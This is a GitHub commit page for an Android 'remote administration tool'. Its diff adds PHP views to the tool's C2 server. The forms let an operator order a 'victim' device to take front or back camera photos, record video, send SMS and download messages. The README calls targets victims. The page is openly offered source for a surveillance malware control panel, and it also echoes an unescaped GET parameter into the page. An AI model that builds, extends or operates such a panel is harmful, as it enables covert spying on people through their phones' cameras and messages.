Skip to content

Commit

Permalink
implemented modals
Browse files Browse the repository at this point in the history
  • Loading branch information
Tomiwa-Ot committed Feb 15, 2024
1 parent f144ec2 commit 401b9df
Show file tree
Hide file tree
Showing 4 changed files with 129 additions and 51 deletions.
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -58,6 +58,6 @@ Remote adminitration tool for android
![Dashboard](screenshots/c2.png)

### TODO
- Implement modals for issuing commands
- Implement modal for contact page
- Modals not showing (fix)
- Auto scroll logs on dashboard
- Pagination for victim properties
58 changes: 46 additions & 12 deletions Server/c2-server/src/View/features/images.php
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,20 @@

<div class="container">
<div class="row">
<?php if (isset($_GET['alert'])): ?>
<?php if ($_GET['alert'] == 1): ?>
<div class="alert alert-success" id="error-alert" role="alert">
<strong> Image request sent </strong>
</div>
<?php else: ?>
<div class="alert alert-danger" id="error-alert" role="alert">
<strong> Image request failed </strong>
</div>
<?php endif ?>
<?php endif ?>
<div class="col-md-12 page-header d-flex justify-content-between align-items-center">
<h2 class="page-title"><?= $device ?> Images</h2>
<button class="btn btn-dark" data-toggle="modal" data-target="#imagesModal"><i class="fas fa-plus"></i></button>
<button type="button" class="btn btn-dark" data-toggle="modal" data-target="#exampleModal" data-whatever="@getbootstrap"><i class="fas fa-plus"></i></button>
</div>
</div>
<br>
Expand Down Expand Up @@ -43,18 +54,41 @@
</div>
</div>

<div class="modal fade" id="imagesModal" tabindex="-1" role="dialog" aria-labelledby="imagesModal" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="images-modal-title" id="imagesModalLabel">Images</h5>

</div>
<div class="modal-body">

</div>
</div>
<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<form method="post" action="/send">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Select camera</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
<div class="modal-body">
<div class="form-check">
<input class="form-check-input" type="radio" name="cmd" id="flexRadioDefault1" value="CAMERA_FRONT">
<label class="form-check-label" for="flexRadioDefault1">
Front
</label>
</div>
<div class="form-check">
<input class="form-check-input" type="radio" name="cmd" id="flexRadioDefault2" value="CAMERA_BACK">
<label class="form-check-label" for="flexRadioDefault2">
Back
</label>
</div>
</div>
<input type="hidden" name="web_socket_id" value="<?= $webSocketID ?>">
<input type="hidden" name="type" value="server">
<input type="hidden" name="referrer" value="images">
<input type="hidden" name="client" value="<?= $_GET['client'] ?>">
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary">Send message</button>
</div>
</form>
</div>
</div>
</div>

<?php require_once __DIR__ . "/../footer.php"; ?>
66 changes: 41 additions & 25 deletions Server/c2-server/src/View/features/messages.php
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,21 @@

<div class="container">
<div class="row">
<?php if (isset($_GET['alert'])): ?>
<?php if ($_GET['alert'] == 1): ?>
<div class="alert alert-success" id="error-alert" role="alert">
<strong> Text message request sent </strong>
</div>
<?php else: ?>
<div class="alert alert-danger" id="error-alert" role="alert">
<strong> Text message request failed </strong>
</div>
<?php endif ?>
<?php endif ?>
<div class="col-md-12 page-header d-flex justify-content-between align-items-center">
<h2 class="page-title"><?= $device ?> Messages</h2>
<button class="btn btn-dark" data-toggle="modal" data-target="#smsModal"><i class="fas fa-plus"></i></button>
<!-- <button class="btn btn-dark" data-toggle="modal" data-target="#smsModal"><i class="fas fa-plus"></i></button> -->
<button type="button" class="btn btn-dark" data-toggle="modal" data-target="#exampleModal" data-whatever="@getbootstrap"><i class="fas fa-plus"></i></button>
</div>
</div>
<br>
Expand Down Expand Up @@ -45,34 +57,38 @@
</div>
</div>

<div class="modal fade" id="smsModal" tabindex="-1" role="dialog" aria-labelledby="smsModal" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="sms-modal-title" id="smsModalLabel">SMS</h5>
<button type="button" id="sms-modal-dismiss" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
<div class="modal-body">
<form action="/send" method="post">
<div class="content">
<textarea style="resize: none;" name="message" id="" cols="30" rows="5" class="form-control" placeholder="Message..."></textarea>
<br>
<input type="hidden" name="client" value="">
<input type="hidden" name="cmd" value="text">
<div class="input-group mb-3">
<input type="tel" name="" class="form-control" placeholder="Phone number" aria-label="Phone number" aria-describedby="basic-addon2">
<div class="input-group-append">
<button style="background: #2196F3 !important;color: white" type="submit" class="btn" id="modal-save">Send</button>
<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<form method="post" action="/send">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Send text message</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
<div class="modal-body">
<div class="form-group">
<label for="recipient-name" class="col-form-label">Recipient:</label>
<input name="sender" type="tel" class="form-control" id="recipient-name">
</div>
<div class="form-group">
<label for="message-text" class="col-form-label">Message:</label>
<textarea name="content" class="form-control" id="message-text"></textarea>
</div>
<button style="background: #2196F3 !important;color: white" type="button" class="btn col-12" id="modal-save"><i class="fas fa-download"></i> Download Messages</button>
</div>
</form>
</div>
</div>
<input type="hidden" name="web_socket_id" value="<?= $webSocketID ?>">
<input type="hidden" name="cmd" value="MESSAGE">
<input type="hidden" name="type" value="server">
<input type="hidden" name="referrer" value="messages">
<input type="hidden" name="client" value="<?= $_GET['client'] ?>">
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary">Send message</button>
</div>
</form>
</div>
</div>
</div>

<?php require_once __DIR__ . "/../footer.php"; ?>
52 changes: 40 additions & 12 deletions Server/c2-server/src/View/features/videos.php
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,21 @@

<div class="container">
<div class="row">
<?php if (isset($_GET['alert'])): ?>
<?php if ($_GET['alert'] == 1): ?>
<div class="alert alert-success" id="error-alert" role="alert">
<strong> Video request sent </strong>
</div>
<?php else: ?>
<div class="alert alert-danger" id="error-alert" role="alert">
<strong> Video request failed </strong>
</div>
<?php endif ?>
<?php endif ?>
<div class="col-md-12 page-header d-flex justify-content-between align-items-center">
<h2 class="page-title"><?= $device ?> Videos</h2>
<button class="btn btn-dark" data-toggle="modal" data-target="#videosModal"><i class="fas fa-plus"></i></button>
<!-- <button class="btn btn-dark" data-toggle="modal" data-target="#videosModal"><i class="fas fa-plus"></i></button> -->
<button type="button" class="btn btn-dark" data-toggle="modal" data-target="#exampleModal" data-whatever="@getbootstrap"><i class="fas fa-plus"></i></button>
</div>
</div>
<br>
Expand Down Expand Up @@ -43,18 +55,34 @@
</div>
</div>

<div class="modal fade" id="videosModal" tabindex="-1" role="dialog" aria-labelledby="videosModal" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="videos-modal-title" id="videosModalLabel">Videos</h5>

</div>
<div class="modal-body">

</div>
</div>
<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<form method="post" action="/send">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Create video</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
<div class="modal-body">
<div class="form-group">
<label class="col-form-label">Duration:</label>
<input type="number" name="duration" class="form-control">
</div>
</div>
<input type="hidden" name="web_socket_id" value="<?= $webSocketID ?>">
<input type="hidden" name="cmd" value="VIDEO">
<input type="hidden" name="type" value="server">
<input type="hidden" name="referrer" value="videos">
<input type="hidden" name="client" value="<?= $_GET['client'] ?>">
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="submit" class="btn btn-primary">Send message</button>
</div>
</form>
</div>
</div>
</div>

<?php require_once __DIR__ . "/../footer.php"; ?>

0 comments on commit 401b9df

Please sign in to comment.